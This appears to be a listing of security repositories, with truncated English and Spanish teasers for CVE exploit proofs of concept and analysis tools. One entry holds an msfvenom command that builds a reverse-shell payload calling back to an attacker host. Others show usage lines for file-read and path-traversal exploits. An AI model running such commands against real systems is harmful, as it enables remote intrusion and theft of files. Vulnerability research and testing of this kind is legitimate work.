CVE-2025-39436

🚨 WordPress Plugin Exploit: CVE-2025-39436 📝 Description An Unrestricted Upload of File with Dangerous Type vulnerability exists in the "I Draw" WordPress plugin. This exploit allows attackers to upload malicious files without restriction. The issue impacts I Draw versions up to 1.0. 🛠️ Exploit...

CVE-2024-57785

CVE-2024-57785 Exploit Title: Authenticated File Inclusion Vulnerability on Zenitel AlphaWeb XE Version 11.2.3.10 Date: 08/02/2025 Exploit Author: Safvan Parakkal Vendor Website: https://www.zenitel.com/ CVE: CVE-2024-57785 Usage: CVE-2024-57785.py -h -u URL -f FILE optional arguments: -h, --help...

CVE-2025-2825

CVE-2025-2825/CVE-2025-31161 Introducción Este documento presenta la investigación de la vulnerabilidad CVE-2025-2825 , que afecta al servidor CrushFTP , una solución comercial para la transferencia y almacenamiento de archivos FTP, SFTP, HTTP/S, interfaces similares a S3, etc.. El defecto se...

CVE-2025-29017

CVE-2025-29017 - Sistema de Banca por Internet 2.0.0 Ejecución Remota de Código a través de la Carga de Foto de Perfil Descripción Existe una vulnerabilidad de Ejecución Remota de Código RCE en Code Astro Internet Banking System 2.0.0 debido a una validación incorrecta de carga de archivos en el...

Webapp_Pentast

Prueba de Concepto y Guía de Pruebas Manuales para CVE-2022-31147 Esta guía proporciona metodologías integrales para probar CVE-2022-31147, una vulnerabilidad crítica de path traversal que afecta a la biblioteca ampliamente utilizada matthiasmullie/minify. La vulnerabilidad permite a los atacante...

binwalk

Binwalk v3 This is an updated version of the Binwalk firmware analysis tool, re-written in Rust for speed and accuracy. What does it do? Binwalk can identify, and optionally extract, files and data that have been embedded inside of other files. While its primary focus is firmware analysis, it...

CVE-2009-2265

Versión: ColdFusion 8.0.1 CVE-2009-2265 msfvenom -p java/jspshellreversetcp LHOST=10.10.14.12 LPORT=4444 -f raw shell.jsp python upload.py 10.10.10.11 8500 shell.jsp Ejemplo :...

CVE-2026-45504

CVE-2026-45504 Lectura de archivos de Exchange CVE-2026-45504 Exchange File Read Blog de investigación python3 CVE-2026-45504.py --attacker-ip 192.168.2.238 --attacker-port 9020 --creds [email protected] --password Hawktrace1 --target https://mail.exchange.local --target-file...

CVE-2024-23897

Modifications by Anant File read for files like /etc/os-release was stripping content. this is fixed now Added support for Authenticated session : provide username and password as commandline arguments usage: jenkinsfileread.py -h -u URL -a USERAGENT -f FILE -t TIMEOUT -s -o -p PROXY -v --usernam...

ulteriusExploit

ulteriusExploit Python exploit for CVE-2017-16806 Ulterius Server 1.9.5.0 directory traversal Arbitrary File Access exploit By Rick Osgood CVE-2017-16806...

CVE-2024-38819-POC2

CVE-2024-38819: Prueba de Concepto PoC Esta es una prueba de concepto para la vulnerabilidad CVE-2024-38819, la cual reporté, demostrando un exploit de path traversal. Pasos de Ejecución 1. Construir la imagen Docker Spring Boot 3.3.4, basado en Spring Framework 6.1.13 cd vuln docker build -t...

CVE-2020-3452_Cisco_ASA_PathTraversal

CVE-2020-3452CiscoASAPathTraversal Script de prueba de concepto para CVE-2020-3452 — Vulnerabilidad de Path Traversal en Cisco ASA/FTD. Admite extracción automatizada de archivos objetivo conocidos con un límite estricto en descargas exitosas por seguridad. Destinado únicamente a pruebas de...

CVE-2025-56807

CVE-2025-56807 Descripción Se descubrió una vulnerabilidad de Cross Site Scripting XSS almacenado en FairSketch RISE Ultimate Project Manager & CRM v3.9.4 en la funcionalidad del Administrador de archivos. La vulnerabilidad reside en el parámetro title que se envía al crear nuevas carpetas. Debid...

hashr

HashR: Generate your own set of hashes Table of Contents HashR: Generate your own set of hashes Table of Contents About Requirements Building HashR binary and running tests Setting up HashR HashR using docker OS configuration & required 3rd party tooling Setting up storage for processing tasks...

InlineExecute-Assembly

InlineExecute-Assembly InlineExecute-Assembly is a proof of concept Beacon Object File BOF that allows security professionals to perform in process .NET assembly execution as an alternative to Cobalt Strikes traditional fork and run execute-assembly module. InlineExecute-Assembly will execute any...

CVE-2021-4034-touch

CVE-2021-4034-touch touch genera archivos...

CVE-2021-32708

CVE-2021-32708 Las versiones afectadas de este paquete son vulnerables a una condición de carrera. La normalización de espacios en blanco utilizada en las versiones 1.x y 2.x elimina cualquier espacio en blanco Unicode. Bajo ciertas condiciones específicas, esto podría permitir que un usuario...

nginx-rift-private-lab

NGINX Rift Prueba de concepto de RCE para CVE-2026-42945 , un desbordamiento crítico de búfer en el montón en ngxhttprewritemodule de NGINX introducido en 2008. El error permite ejecución remota de código no autenticada contra servidores que utilizan directivas rewrite y set. Esta bifurcación...

CVE-2024-29404_Razer

CVE-2024-29404 Razer Synapse 3 =Synapse Version 3.9.131.20813 App Version =20240213 "Chroma Effects" functionality Elevation of Privilege Vulnerability via Arbitrary File/Folder Removal https://github.com/user-attachments/assets/6528f166-5514-4b10-b1a4-3644ec11e772...

PortexAnalyzerGUI

PortexAnalyzerGUI Interfaz gráfica para PortEx, una biblioteca de análisis de ejecutables portables y malware Descarga Página de releases Características Información de cabeceras de: MSDOS Header, Rich Header, COFF File Header, Optional Header, Section Table, .NET Metadata Estructuras PE: Import...